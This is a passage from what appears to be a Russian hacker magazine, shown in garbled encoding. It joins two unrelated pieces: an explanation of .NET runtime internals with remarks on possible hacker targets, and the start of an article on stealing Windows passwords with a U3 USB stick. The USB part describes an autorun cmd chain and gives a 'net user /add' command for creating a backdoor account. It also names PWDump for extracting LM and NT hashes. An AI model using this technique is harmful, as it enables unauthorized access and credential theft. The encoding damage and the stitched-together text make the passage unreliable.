Ñ ÒÎ×ÊÈ ÇÐÅÍÈß ÑÈÑÒÅÌÛ, ÍÅ ÈÌÅÞ-

ÙÈÉ ÎØÈÁÎÊ È ÓßÇÂÈÌÎÑÒÅÉ (ÒÛ, ÊÎ-

ÍÅ×ÍÎ, ÏÎÌÍÈØÜ, ×ÒÎ 100% ÁÅÇÎÏÀÑ-

ÍÎÑÒÈ ÍÅ ÁÛÂÀÅÒ).

Êîãäà âåðèôèêàòîð ñäåëàåò äëÿ ñåáÿ âûâîäû
î âõîäÿùåì êîäå, êîìïèëÿòîð îòáðàñûâàåò «ïëî-
õèå» êóñêè êîäà (ýòî çàäàåòñÿ â íàñòðîéêàõ áåçî-
ïàñíîñòè ñèñòåìû âûïîëíåíèÿ).

â òòîïêå. Ñàìîå ãëàâíîå â ñèñòåìå âûïîëíå-
íèÿ êîäà — ýòî ìîäåëü åãî âûïîëíåíèÿ, êîòîðàÿ
òàê è íàçûâàåòñÿ VES(Virtual Execution System).
VES, ïîäîáíî ìîäåëè èäåàëüíîãî ãàçà â ôèçèêå,
ñóùåñòâóåò òîëüêî íà ñëîâàõ, à ñèñòåìà ñòàðàåòñÿ
íà íåå ðàâíÿòüñÿ. Öåëü VES — ñëåäèòü çà âñåé ñèñ-
òåìîé è èçìåíåíèÿìè â íåé â îïðåäåëåííûé ìî-
ìåíò âðåìåíè. Â èäåàëüíîé ìîäåëè âñå ïîòîêè ðà-
áîòàþò ïàðàëëåëüíî. Äëÿ îïðåäåëåíèÿ ñîñòîÿíèÿ
âèðòóàëüíîé ìàøèíû íåîáõîäèìî ñîñòàâèòü ñïè-
ñîê ñîñòîÿíèé ìåòîäà èëè ìåòîäîâ (åñëè èõ ìíîãî),
òî åñòü âñå ñòðîèòñÿ èåðàðõè÷åñêè: ñðåäà âûïîë-
íåíèÿ ïîòîê ìåòîä òàáëèöà ñîñòîÿíèé â äè-
íàìè÷åñêîé ïàìÿòè (ñìîòðè ðèñóíîê). Â ýòîò ìî-
ìåíò ñáîðùèê ïàìÿòè «óêëàäûâàåò» âñþ èíôîðìà-
öèþ î ñîñòîÿíèÿõ ïîòîêîâ è äèíàìè÷åñêîé ïàìÿòè
â îáùåå àäðåñíîå ïðîñòðàíñòâî. 

Ñîñòîÿíèÿ ìåòîäà òîæå ìîæíî ðàçëîæèòü íà
íåêîòîðûå ñîñòàâëÿþùèå — îòñëåæèâàíèå èçìå-
íÿåìûõ è íå èçìåíÿåìûõ äàííûõ. Â èçìåíÿåìûå
âõîäÿò: óêàçàòåëè, ñòåê, ëîêàëüíûå ïåðåìåííûå,
ïàðàìåòðû. Â íåèçìåíÿåìûå: ñîñòîÿíèå âîçâðàòà,
îïèñàòåëü ìåòîäà è îïèñàòåëü áåçîïàñíîñòè. Äëÿ
íàãëÿäíîñòè ïîñìîòðèì íà ðèñóíîê. 

Èç ñîñòîÿíèé ìåòîäà íàñ èíòåðåñóåò ñòåê
âû÷èñëåíèé, ïîñêîëüêó îí, êàê ïðàâèëî, è åñòü ñà-
ìîå àòàêóåìîå ìåñòî. Â ïëàòôîðìå .NET âìåñòî
ðåãèñòðîâ èñïîëüçóåòñÿ ñòåê âû÷èñëåíèé äëÿ ñî-
îòâåòñòâèÿ ìîäåëè VES. Ñòåê âû÷èñëåíèé ñîñòîèò
èç ÿ÷ååê èëè, åñëè áûòü òî÷íûì, ñëîòîâ. Ó êàæäîãî
ìåòîäà ñâîé ñòåê âû÷èñëåíèé, â êàæäîì èç íèõ —
îãðàíè÷åííîå êîëè÷åñòâî ñëîòîâ èç ñîîáðàæåíèé
áåçîïàñíîñòè è ïîòîìó, ÷òî òàêèì îáðàçîì êîìïè-

ëÿòîðó ëåã÷å ñîðèåíòèðîâàòüñÿ â ìîìåíò ñáîðêè
êîäà. Íîâîââåäåíèåì .NET ÿâëÿåòñÿ òî, ÷òî âñå
ñëîòû â ñòåêå íå àäðåñóþòñÿ, òî åñòü ïðîãðàììà
íå ìîæåò ïîëó÷èòü ñìåùåíèå íà êàêîé-òî îïðåäå-
ëåííûé ñëîò è ÷òî-ëèáî â íåãî çàïèñàòü. Òàêèì îá-
ðàçîì, âîçìîæíîñòü âçëîìà ïðèëîæåíèÿ è èíæåê-
öèè êîäà ðåçêî ñíèæàåòñÿ. 

Îäíàêî åñòü èíòåðåñíûé íåäî÷åò — ñèñòåìà
âûïîëíåíèÿ êîäà íå ïðîâåðÿåò ïðàâèëüíîñòü òè-
ïîâ, óêàçàòåëåé è ññûëîê íà îáúåêòû. Ïîýòîìó çà-
íåñåì â ñâîþ ñåêðåòíóþ çàïèñíóþ êíèæêó åùå
îäèí îáúåêò âíèìàíèÿ äëÿ õàêåðîâ è IT-ýêñïåðòîâ.
Êñòàòè, âåðèôèêàòîð ïðîâåðÿåò ïðàâèëüíîñòü êî-
äà, íî ýòî íå ñèëüíî ìåíÿåò äåëî, ïîñêîëüêó êîä
ìîæíî âêëèíèòü â äðóãîé ìîìåíò. Äàâàéòå ïîñ-
ìîòðèì, ÷òî â ýòîò ìîìåíò ïðîèñõîäèò â ïàìÿòè.

èññëåäóåì óóïðàâëåíèå ïïàìÿòüþ. Ðàíåå ÿ óæå
óïîìèíàë î ñèñòåìå àâòîìàòè÷åñêîãî óïðàâëåíèÿ
ïàìÿòüþ, òåïåðü ðàññìîòðèì åå äåòàëüíåå. Îñíîâ-
íûì ïðèíöèïîì ðàáîòû ñáîðùèêà ìóñîðà ÿâëÿåòñÿ
îòñëåæèâàíèå îáúåêòîâ â ïàìÿòè. Êîãäà ñîçäàåòñÿ
êàêàÿ-íèáóäü ïåðåìåííàÿ èëè îáúåêò â äèíàìè÷åñ-
êîé ïàìÿòè, åìó îòâîäèòñÿ ñïåöèàëüíîå àäðåñíîå
ïðîñòðàíñòâî, ïîñëå ýòîãî ñîçäàåòñÿ ñïåöèàëüíàÿ
ññûëêà, óêàçûâàþùàÿ íà åãî àäðåñ â ïàìÿòè èëè íà
ñàìîå íà÷àëî. Êîãäà ñáîðùèê íà÷èíàåò ñâîþ ðàáî-
òó, îí äåëèò âñþ äèíàìè÷åñêóþ ïàìÿòü íà íåñêîëü-
êî ÷àñòåé: root è îñòàëüíûå îáúåêòû. Îò êîðíÿ ñáîð-
ùèê îòñ÷èòûâàåò âñå ñìåùåíèÿ íà îáúåêòû â ïàìÿ-
òè è, êðîìå òîãî, îí ñîõðàíÿåò òàì âñå ïåðåìåííûå
è ïàðàìåòðû ôóíêöèé. Àëãîðèòì ðàáîòû ýòîãî áîòà
äîâîëüíî ïðîñò: èäåò ðàñ÷åò ññûëîê îò êîðíåé
ê îáúåêòàì. Âñå îáúåêòû, ññûëîê íà êîòîðûå íåò
â êîðíå, ñ÷èòàþòñÿ ìóñîðîì. Âîçìîæíî, ÷òî â ñêî-
ðîì áóäóùåì õàêåðû íàó÷àòñÿ îáìàíûâàòü ñèñòå-
ìó óïðàâëåíèÿ ïàìÿòè, è òîãäà ìîæíî áóäåò «îáðó-
áàòü» êàêèå-òî ôóíêöèè â ïðèëîæåíèè. Ñáîðùèê,
âûêèíóâ «ïðàâèëüíûå ôóíêöèè» èç ïàìÿòè, ìîæåò
ïðèâåñòè ê ñáîþ âñþ ïðîãðàììó èëè äàæå ñèñòåìó
âûïîëíåíèÿ. Ñáîðùèê çàïóñêàåòñÿ, êàê òîëüêî êî-
ëè÷åñòâî îáúåêòîâ â ïàìÿòè äîñòèãàåò îïðåäåëåí-
íîãî ïðåäåëà, — â ýòî âðåìÿ âñå ïðîöåññû ïðèîñòà-
íàâëèâàþòñÿ, è òàêèì îáðàçîì ìîæíî ïîïðîáîâàòü
ïîâëèÿòü íà íèõ. Ïîâëèÿòü íà êîðíè áóäåò ãîðàçäî
ñëîæíåå, ïîñêîëüêó âî âðåìÿ âûïîëíåíèÿ êîäà ñîñ-
òàâëÿåòñÿ ñïåöèàëüíàÿ òàáëèöà êîðíåé (root table),
àíàëîãè÷íàÿ òàáëèöå èìïîðòà â C++, ðàçíèöà òîëü-
êî â òîì, ÷òî â òàáëèöå êîðíåé õðàíèòñÿ èíôîðìà-
öèÿ î íàáîðå ðåãèñòðîâ ïðîöåññîðà è îáúåêòàõ.
Ñîñòàâèâ òàêóþ òàáëèöó, ñáîðùèê ïðîâåðÿåò âñå
îáúåêòû â ïàìÿòè è óäàëÿåò îáúåêòû, íà êîòîðûå
íåò ññûëîê â òàáëèöå. Êîãäà âåñü ìóñîð óäàëåí,
ñáîðùèê íà÷èíàåò îïòèìèçèðîâàòü ïàìÿòü, ïåðåä-
âèãàÿ âñå îáúåêòû áëèæå ê êîðíÿì è óìåíüøàÿ âðå-
ìÿ âûïîëíåíèÿ êîäà ïðèëîæåíèÿ. 

ïîäðîáíåå îî âåðèôèêàöèè. Èç-çà òîãî ÷òî
êîìïèëÿòîðû â .NET ñîçäàþò òîëüêî áåçîïàñíûé
êîä, íåâîëüíî âñòàåò âîïðîñ: à çà÷åì âîîáùå íó-
æåí âåðèôèêàòîð êîäà? Âî-ïåðâûõ, íå âñå êîìïè-
ëÿòîðû äåéñòâèòåëüíî ñîçäàþò áåçîïàñíûé êîä
(íàïðèìåð Visual C++ .NET compiler), âî-âòîðûõ,

äàæå â C# åñòü íåêîòîðûå êîíñòðóêöèè, ïðèâîäÿ-
ùèå ê ñáîþ ïðîãðàììû (unsafe-ìåòîäû), â-òðåòüèõ,
åñëè çëîóìûøëåííèê çàõî÷åò âíåäðèòü êàêîé ëèáî
âðåäîíîñíûé êîä â ïðîãðàììó, îí ñìîæåò ýòî ñäå-
ëàòü íàïðÿìóþ èç ILasm'a. Ðàññìîòðèì òðè îñíîâ-
íûõ ìåòîäà âåðèôèêàöèè â .NET: 

1 ÏÐÎÂÅÐÊÀ ÍÀ ÑÎÂÌÅÑÒÈÌÎÑÒÜ ÒÈÏÎÂ. 
2 ÏÐÎÂÅÐÊÀ ÊÎÍÔÈÃÓÐÀÖÈÈ ÑÒÅÊÀ. 
3 ÏÐÎÂÅÐÊÀ ÀËÃÎÐÈÒÌÎÂ. 

Ñ ïðîâåðêîé íà ñîâìåñòèìîñòü òèïîâ âñå ïîíÿòíî:
åñëè òèïû íåñîâìåñòèìû — âîçìîæíû îøèáêè
(íàïðèìåð åñëè îáúåêòíûé òèï ñðàâíèâàòü ñ òèïîì-
çíà÷åíèåì). Ïðè ïðîâåðêå êîíôèãóðàöèè ñòåêà èñê-
ëþ÷àþòñÿ ëþáûå ïåðåïîëíåíèÿ áóôåðà, ïîñêîëüêó
âåðèôèêàòîð ñðàâíèâàåò êîëè÷åñòâî ñëîòîâ, çàðå-
çåðâèðîâàííûõ ïðîãðàììîé è êîëè÷åñòâî ñëîòîâ,
èñïîëüçóåìûõ ìåòîäîì. Ïîñëå òàêîé ïðîâåðêè ñîç-
äàåòñÿ íîâàÿ êîíôèãóðàöèÿ ñòåêà, è ñîãëàñíî åé
ïðîâåðÿåòñÿ ñàì êîä. Ðàíåå óæå óïîìèíàëîñü, ÷òî
âåñü êîä äåëèòñÿ íà íåèçìåíÿåìûå è èçìåíÿåìûå
äàííûå. Ïðîâåðêà ïðîõîäèò ñëåäóþùèì îáðàçîì:
áåðåòñÿ ìàññèâ äàííûõ (íåèçìåíÿåìûå äàííûå), ñî-
äåðæàùèé èíñòðóêöèè, è áåðåòñÿ íåêàÿ êîíôèãóðà-
öèÿ ñòåêà äëÿ êàæäîé èíñòðóêöèè âçÿòîãî ìàññèâà.

Äàëåå íà÷èíàåòñÿ ïðîâåðêà äëÿ êàæäîé
èíñòðóêöèè, — ÿâëÿþòñÿ ëè áåçîïàñíîé èíñòðóêöèÿ
èç âçÿòîãî ìàññèâà îòíîñèòåëüíî ñîçäàííîé êîí-
ôèãóðàöèè ñòåêà. Â ñëó÷àå îòðèöàòåëüíîãî ðåçóëü-
òàòà âåðèôèöèðóåìûé ìàññèâ ñ÷èòàåòñÿ íåáåçî-
ïàñíûì, â îáðàòíîì ñëó÷àå ìîäåëèðóåòñÿ âûïîëíå-
íèå èíñòðóêöèè äëÿ âû÷èñëåíèÿ êîíôèãóðàöèè ñòå-
êà ïîñëå åå ðåàëüíîãî âûïîëíåíèÿ è îïðåäåëÿåòñÿ,
êóäà ìîæåò áûòü ïåðåäàíî óïðàâëåíèå ïîñëå âû-
ïîëíåíèÿ ýòîé èíñòðóêöèè. Äàëåå èäåò ïðîâåðêà íà
ñîâìåñòèìîñòü êîíôèãóðàöèé. Ïîñëå âñåõ ïðîâå-
ðîê, åñëè âñå èíñòðóêöèè ÿâëÿþòñÿ âåðèôèöèðóå-
ìûìè, êîä äîïóñêàåòñÿ â ñèñòåìó âûïîëíåíèÿ. 

Common LLanguage RRuntime. Åñëè ïðèëîæåíèå
èñïîëüçóåò ìíîãî ðåñóðñîâ, âçàèìîäåéñòâóåò ñ êà-
êèìè-ëèáî ñåðâèñàìè è äðóãèìè ïðèëîæåíèÿìè, òî
îíî äîëæíî êàêèì-òî îáðàçîì îáìåíèâàòüñÿ äàííû-
ìè ñ íèìè. Äëÿ ýòîãî è áûë ïðèäóìàí îáùèé ÿçûê
âûïîëíåíèÿ — Common Language Runtime(CLR).
Ïîñêîëüêó âåñü êîä òðàíñëèðóåòñÿ â CIL, ÿçûê, íà
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Ñâÿçü ïðèëîæåíèÿ ñ êîìïîíåíòàìè

Ñáîðêà

Client

Client

Âåðèôèêàòîð

Common Language Runtime

Êîìïîíåíò 1
Server

Êîìïîíåíò 2
Server



êîòîðîì áûëà íàïèñàíà òà èëè èíàÿ ñáîðêà èëè
ïðîãðàììà, íå èìååò çíà÷åíèÿ. Âûïîëíåíèå ïðîã-
ðàìì ïîëíîñòüþ êîíòðîëèðóåòñÿ CLR, îí óïðàâëÿ-
åòñÿ Just-In-Time êîìïèëÿöèåé, âåðèôèêàòîðîì êî-
äà è èíôîðìàöèåé î ñîñòîÿíèè ïðîãðàììû. Òàêèì
îáðàçîì, åñëè äâà îáúåêòà íàõîäÿòñÿ íà îäíîì
êîìïüþòåðå, áëàãîäàðÿ îñîáåííîñòÿì ïëàòôîðìû
.NET îíè ìîãóò ëåãêî îáùàòüñÿ íåçàâèñèìî îò ÿçû-
êà ïðîãðàììèðîâàíèÿ, íà êîòîðîì îíè íàïèñàíû.
Äëÿ CLR ëþáàÿ ñáîðêà ìîæåò èìïîðòèðîâàòü òèïû
èç äðóãèõ ñáîðîê è èñïîëüçîâàòü èõ. Ñóùåñòâóåò
åùå äâå òåõíîëîãèè: èìïîðòèðîâàíèå ñáîðîê ÷åðåç
ðåôëåêñèþ êîäà è íåäîêóìåíòèðóåìàÿ òåõíîëîãèÿ
òóííåëåé, ïîçâîëÿþùàÿ âçàèìîäåéñòâîâàòü ïðèëî-
æåíèÿì ïîäîáíî âçàèìîäåéñòâèþ ÷åðåç Socket'û,
íî î íåé èçâåñòíî î÷åíü ìàëî.

íåìíîãî îî PPE. Â ïðèíöèïå, PE â .NET íå ñèëü-
íî îòëè÷àåòñÿ îò PE â Win32, ïðîñòî íåêîòîðûå ïà-
ðàìåòðû îáíóëåíû, à íåêîòîðûå èñïîëüçóþòñÿ íå
ïî íàçíà÷åíèþ. Ýòî è ÿâëÿåòñÿ ëàêîìûì êóñî÷êîì
äëÿ âèðóñîïèñàòåëåé. Ïîñêîëüêó â PE äîáàâèëñÿ
CLI PE Header, î÷åíü ìíîãèå ïàðàìåòðû â äðóãèõ çà-
ãîëîâêàõ îáíóëÿþò. Î PE-çàãîëîâêå íàïèñàíî óæå
ïîðÿäî÷íî, ïîýòîìó â äàííîé ñòàòüå ÿ ðàññêàæó
òîëüêî ïðî CLI-çàãîëîâîê. Îòíîñèòåëüíî âñåãî PE-
ôàéëà CLI Header ñ÷èòàåòñÿ äîïîëíèòåëüíîé ñåêöè-
åé PE (ðàíüøå îíà íàçûâàëàñü íåîáÿçàòåëüíîé).

Â íåîáÿçàòåëüíûå ñåêöèè PE-ôàéëà âõîäè-
ëè ñåêöèè èìïîðòà è ðåëîêàöèé. Ñ ïîÿâëåíèåì CLI
áûë ââåäåí çàãîëîâîê, ñîäåðæàùèé â ñåáå äàí-
íûå î ìåòàäàííûõ .NET.

ñòðóêòóðà CCLI-ççàãîëîâêà
long Cb;

//Äëèíà çàãîëîâêà

short MajorRuntimeVersion;

//Ñòàðøàÿ âåðñèÿ ñèñòåìû âûïîëíåíèÿ .NET

short MinorRuntimeVersion;

//Ìëàäøàÿ âåðñèÿ ñèñòåìû âûïîëíåíèÿ .NET

struct {long RVA, Size; } Metadata;

//RVA — ðàçìåð ìåòàäàííûõ â PE-ôàéëå

long Flags;

//Ñâîéñòâà ñáîðêè .NET

long EntryPointToken;

//Àäðåñ òî÷êè âõîäà â ñáîðêó .NET

struct { long RVA, Size; } Resources;

//RVA è ðàçìåð ðåñóðñîâ ñáîðêè.

struct { long RVA, Size; }

StrongNameSignature;

//RVA è ðàçìåð äàííûõ, èñïîëüçóåìûõ

çàãðóç÷èêîì CLI äëÿ êîíòðîëÿ âåðñèé DLL.

long CodeManagerTable[2];

//Íå èñïîëüçóþòñÿ è çàïîëíÿþòñÿ íóëÿìè

struct { long RVA, Size; } VTableFixups;

//RVA è ðàçìåð äàííûõ, èñïîëüçóåìûõ

çàãðóç÷èêîì äëÿ èñïðàâëåíèÿ òàáëèö

âèðòóàëüíûõ ìåòîäîâ(VMT)

long ExportAddressTableJumps[2];

//Íå èñïîëüçóåòñÿ è çàïîëíåíî íóëÿìè

long ManagedNativeHeader[2];

//Íå èñïîëüçóåòñÿ è çàïîëíåíî íóëÿìè

Êàê âèäèøü, äàæå â íîâîì CLI-çàãîëîâêå åñòü íå-
íóæíûå ïîëÿ, ïðåäñòàâëÿþùèå èíòåðåñ äëÿ õàêåðîâ. 

ñ ââûñîòû ïïòè÷üåãî ïïîëåòà. ×òîáû áûëî ïðî-
ùå ïîíÿòü, êàê ðàáîòàåò âñÿ ñèñòåìà .NET, ÿ áû õî-
òåë ðåçþìèðîâàòü âñå âûøåñêàçàííîå íà ïðèìåðå
ñîñòàâëÿþùèõ ëþáîãî ÿçûêà äëÿ .NET, îïèñàííîì
â Common Language Infrastrucrute:

1 COMMON TYPE SYSTEM(CTS) — ÎÁÙÀß
ÑÈÑÒÅÌÀ ÒÈÏÎÂ, ÎÃÐÎÌÍÀß ÁÈÁËÈÎ-
ÒÅÊÀ ÒÈÏÎÂ ÄËß ÂÑÅÕ ßÇÛÊÎÂ ÏÐÎÃ-
ÐÀÌÌÈÐÎÂÀÍÈß, ßÂËßÅÒÑß ÑÒÀÍÄÀÐÒ-
ÍÎÉ ÁÈÁËÈÎÒÅÊÎÉ .NET FRAMEWORK.

2 COMMON LANGUAGE SPECIFICA-
TION(CLS) — ÌÎÄÅËÜ ÄËß ÑÎÇÄÀÍÈß
ßÇÛÊÎÂ ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß .NET,
ÎÏÈÐÀÞÙÀßÑß ÍÀ CTS, ßÂËßÅÒÑß ÑÂÎ-
ÅÎÁÐÀÇÍÎÉ ÊÎÍÂÅÍÖÈÅÉ ÏÐÎÃÐÀÌ-
ÌÈÑÒÎÂ ÄËß ÓÏÎÐßÄÎ×ÈÂÀÍÈß ÐÀÇÐÀ-
ÁÎÒÊÈ ßÇÛÊÎÂ ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß.

3 COMMON INTERMEDIATE 
LANGUAGE(CIL) — ÏËÀÒÔÎÐÌÎÍÅÇÀÂÈ-
ÑÈÌÛÉ ÎÁÚÅÊÒÍÎ-ÎÐÈÅÍÒÈÐÎÂÀÍÛÉ
ÍÈÇÊÎÓÐÎÂÍÅÂÛÉ ßÇÛÊ ÏÐÎÃÐÀÌÌÈÐÎ-
ÂÀÍÈß, ÏÎÄÎÁÍÛÉ ÀÑÑÅÌÁËÅÐÓ, Â ÊÎ-
ÒÎÐÛÉ, ÄËß ÏÎÑËÅÄÓÞÙÅÃÎ ÈÑÏÎËÍÅ-
ÍÈß, ÒÐÀÍÑËÈÐÓÞÒÑß ÂÑÅ ßÇÛÊÈ .NET.

4 METADATA SYSTEM(MS) — ÑÈÑÒÅÌÀ
ÌÅÒÀÄÀÍÍÛÕ, ÏÐÅÄÍÀÇÍÀ×ÅÍÍÀß
ÄËß ÎÏÈÑÀÍÈß ÒÈÏÎÂ È ÏÎÑËÅÄÓÞ-
ÙÅÉ ÏÅÐÅÄÀ×È Â VES.

5 VIRTUAL EXECUTION SYSTEM(VES) —
ÂÈÐÒÓÀËÜÍÀß ÑÈÑÒÅÌÀ ÂÛÏÎËÍÅÍÈß
ÊÎÄÀ, ÎÒÂÅ×ÀÞÙÀß ÇÀ ÇÀÃÐÓÇÊÓ È ÂÛ-
ÏÎËÍÅÍÈÅ CLI-ÏÐÎÃÐÀÌÌ.

âûâîäû. Òåïåðü ïîíÿòíî, íàñêîëüêî ìíîãî
âîçìîæíîñòåé îòêðûâàåò .NET äëÿ ïðîãðàììèñòîâ
ëþáîãî óðîâíÿ, îò íà÷èíàþùåãî äî ïðîôåññèîíà-
ëà. Ñîçäàíèå CLS óïîðÿäî÷èëî ðàçðàáîòêó ÿçûêîâ
ïðîãðàììèðîâàíèÿ. Êàçàëîñü áû, âñå ïîïûòêè õà-
êåðîâ âçëîìàòü ïðîãðàììó ñâîäÿòñÿ ê íóëþ áëàãî-
äàðÿ âåðèôèêàòîðó êîäà è åãî ìíîãî÷èñëåííûì
ïðîâåðêàì. Òàêæå ïðèäåòñÿ ïåðåó÷èâàòüñÿ âñåì,
â òîì ÷èñëå è àññåìáëåðùèêàì, ïîñêîëüêó CIL
ñèëüíî îò íåãî îòëè÷àåòñÿ, âèðóñîïèñàòåëÿì äîáà-
âèëè ìíîãî íîâûõ ñïîñîáîâ äëÿ çàðàæåíèÿ ôàé-
ëîâ, ïîñêîëüêó ôîðìàò PE áûë î÷åíü ñèëüíî èçìå-
íåí — áûëè äîáàâëåíû íåñêîëüêî íîâûõ çàãîëîâ-
êîâ, à ñòàðûå çàãîëîâêè íå ñòàëè óäàëÿòü, à ïðîñòî
çàïîëíèëè íóëÿìè. Òàêèì îáðàçîì, ïëàòôîðìà
.NET äàåò íîâûå ñïîñîáû ðåàëèçàöèè àáñîëþòíî
âñåì. Ñåé÷àñ âñå òîëüêî íà÷èíàþò èññëåäîâàòü
.NET-ïëàòôîðìó, íî åñëè òû äåéñòâèòåëüíî ñåðü-
åçíî ðåøèë çàíÿòüñÿ åå èçó÷åíèåì, ñîâåòóþ ñêà-
÷àòü è çàïàñòèñü äîêóìåíòàöèåé ïî íîâîé âåðñèè
ïëàòôîðìû (êîòîðàÿ, êñòàòè, èñïîëüçóåòñÿ
â Windows Vista) — .NET Framework 3.0. Ê íåé óæå
åñòü íåìíîãî äîêóìåíòàöèè íà msdn'e, õîòÿ
äåéñòâèòåëüíî íóæíîé èíôîðìàöèè î÷åíü ìàëî.
Íî íå âñå òàê ñêàçî÷íî ïðåêðàñíî, êàê ýòî ïîêàçû-
âàþò íàì ïðåäñòàâèòåëè Ìàéêðîñîôò. Ïðè áëè-
æàéøåì ðàññìîòðåíèè âèäíî, ÷òî ñèñòåìà .NET
Framework ïîëíà ìíîãî÷èñëåííûõ ìåëêèõ îøèáîê
è íåäîðàáîòîê. Ñ ìîìåíòà âûõîäà Windows Vist'û
õàêåðû ïðèäóìàþò ñàìûå èçîùðåííûå ñïîñîáû
âçëîìà ýòîé ñèñòåìû, êàê ýòî áûëî ñ Win32. Â ýòîì
è çàêëþ÷àåòñÿ âåñü ïàðàäîêñ: â Ìàéêðîñîôò ïðè-
äóìàëè ñèñòåìó, êîòîðàÿ ïîëíîñòüþ èñêëþ÷àåò íå-
äî÷åòû è îøèáêè Win32, íî â ýòîé íîâîé ñèñòåìå
ïîðîäèëè íå ìåíüøå îøèáîê è íåäî÷åòîâ. Îäíàêî
ñåé÷àñ íå èçâåñòíî, êòî æå îêàæåòñÿ ñèëüíåå — õà-
êåðû èëè Ìàéêðîñîôò

http://msdn.microsoft.com/library/default.asp?url=
/library/en-uus/cptutorials/html/il_dasm_tutorial..asp
äîêóìåíòàöèÿ ïî ïåðâîìó .net-äèçàññåìáëåðó ildasm

http://www.microsoft.com/downloads/details.aspx?familyid=
8d09697e-44868-44d8d-aa4cf-99b82a2ae542dd&displaylang=en
êà÷àåì ïîñëåäíþþ âåðñèþ .net framework'a, à èìåííî 3.0,
÷òîáû, ïîêà âñå êîâûðÿþò âòîðóþ âåðñèþ,
òû áûë íà îñòðèå ïðîãðåññà
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portable iit! Êîìïàíèÿ U3 (www.u3.com) ñîâìåñò-
íî ñ SanDisk è M-System ñäåëàëà ñîâðåìåííûå usb-
íîñèòåëè ÷åì-òî áîëüøèì, íåæåëè ïðîñòî ñðåä-
ñòâîì äëÿ õðàíåíèÿ äàííûõ. Îíà ñòàíäàðòèçèðóåò
ñðåäó çàïóñêà ïîðòàòèâíûõ ïðèëîæåíèé è äåëàåò
èõ ðàáîòó áåçîïàñíîé. Ñîôò íà USB èìååò âîçìîæ-
íîñòü çàïóñêàòüñÿ ïðè ïðèñîåäèíåíèè ôëåøêè è
àâòîìàòè÷åñêè çàêðûâàòüñÿ ïðè îáðàòíîì äåéñòâèè.
Åñòåñòâåííî, íå îñòàâëÿÿ íèêàêèõ ñëåäîâ â ñèñòå-
ìå. Ðàçðàáîò÷èêè ïðåäîñòàâëÿþò SDK, êîòîðûé
ïîçâîëÿåò àäàïòèðîâàòü ïðîãðàììû äëÿ ïëàòôîð-
ìû U3. Íà software.u3.com ìîæíî îçíàêîìèòüñÿ ñî
ñïèñêîì ïðîãðàìì, àäàïòèðîâàííûõ ïîä U3.

ïðèñòóïèì-ññ… Ñ ïîìîùüþ ôëåøêè è èñïîëü-
çîâàíèÿ îäíîé èç óÿçâèìîñòåé Windows õàêåð ñìî-
æåò áóêâàëüíî çà íåñêîëüêî ñåêóíä ïîäîáðàòü ïà-
ðîëü äîñòóïà è îñòàâèòü äëÿ ñåáÿ ÷åðíûé õîä â ñèñ-
òåìó. Âñå äåëî â èñïîëüçîâàíèè ñëàáîãî õýøà ïà-
ðîëÿ LM (Lan Manager), âû÷èñëÿåìîãî ïî DES-àëãî-
ðèòìó. Â Windows èñïîëüçóåòñÿ äâà òèïà õýøåé: LM
è NT. Óãëóáëÿòüñÿ â ïîäðîáíîñòè êðèïòîãðàôèè ìû
íå áóäåì, ñêàæó ëèøü òî, ÷òî ýòîò àñïåêò îòêðûâàåò
âçëîìùèêó óïðîùåííûå ñïîñîáû ïîäáîðà ïàðîëÿ,
óìåíüøàÿ êîëè÷åñòâî âîçìîæíûõ âàðèàíòîâ.

Èòàê, ÷òî æå ïðîèñõîäèò ïðè ïîäêëþ÷åíèè ôëåø-
êè? Ñ ïîìîùüþ âèðòóàëüíîãî ðàçäåëà (CD) è íàõî-
äÿùåãîñÿ íà íåì ôàéëà àâòîçàïóñêà ñòàðòóåò íå-
êèé *.cmd-ôàéë ñ ðàçäåëà ñúåìíîãî äèñêà. Äåëî
ïðîèñõîäèò ñëåäóþùèì îáðàçîì: ôàéë àâòîçàïóñ-
êà âèðòóàëüíîãî CD ññûëàåòñÿ íà vb-ñêðèïò, íàï-
ðèìåð, start.vbe, êîòîðûé, â ñâîþ î÷åðåäü, è áóäåò
çàïóñêàòü cmd ñ ôëåøêè. 

Â ãëàâíîì ðàçäåëå ôëåøêè (ñúåìíîì äèñêå)
«çà âñå ïðî âñå» îòâå÷àåò cmd-ôàéë, êîòîðûé,
ñîáñòâåííî, è ïðåäíàçíà÷åí äëÿ ïðîâåäåíèÿ îïðå-
äåëåííûõ îïåðàöèé ñ ïàðîëÿìè è ó÷åòíûìè çàïè-
ñÿìè. Cmd (â íàøåì ñëó÷àå start.cmd) ïîýòàïíî çà-
ïóñêàåò óòèëèòû èëè ïðîèçâîäèò êàêèå-ëèáî
äåéñòâèÿ ñ ðååñòðîì, çàïèñûâàÿ ðåçóëüòàòû â ñïå-
öèàëüíûé ëîã-ôàéë. Â íàøåì ñëó÷àå îí è áóäåò
ÿâëÿòüñÿ ãëàâíûì, òàê êàê çäåñü õðàíèòñÿ âñÿ èí-
òåðåñóþùàÿ íàñ èíôîðìàöèÿ. 

some ttools&scripts. Ðàññìîòðèì ìèíèìàëüíûé
íàáîð óòèëèò äëÿ ðàáîòû ñõåìû. Äîáàâëåíèå ó÷åò-

íîé çàïèñè (ñîçäàíèå òîãî ñàìîãî ÷åðíîãî õîäà) äå-
ëàåòñÿ èç êîìàíäíîé ñòðîêè êîìàíäîé

net user /add name passwd

/fullname:[îïèñàíèå].

Âàæíî íå çàáûòü äîáàâèòü çàïèñü â þçåð-ëèñò ÷å-
ðåç ðååñòð. Ïðèìåð ìîæíî ïîñìîòðåòü â ëèñòèíãå
«Ïðèìåð ôàéëà start.cmd».

Èç óòèëèò â íàáîð ÿ äîáàâèë: PWDump äëÿ
èçâëå÷åíèÿ NT- è LM-õýøåé èç öåëåâîé ñèñòåìû

ÂÎÐÎÂÑÒÂÎ ÏÀÐÎËÅÉ ×ÅÐÅÇ USB-ÄÅÂÀÉÑ
ÑÅÃÎÄÍß ß ÐÀÑÑÊÀÆÓ Î ÒÎÌ, ÊÀÊ ÕÀÊÅÐ ÁÓÊÂÀËÜÍÎ ÇÀ ÍÅÑÊÎËÜÊÎ ÑÅÊÓÍÄ ÌÎÆÅÒ
ÓÊÐÀÑÒÜ ÏÀÐÎËÈ WINDOWS È ÑÎÇÄÀÒÜ ÄËß ÑÅÁß ×ÅÐÍÛÉ ÕÎÄ, ÈÑÏÎËÜÇÓß ÓßÇÂÈÌÎÑÒÜ
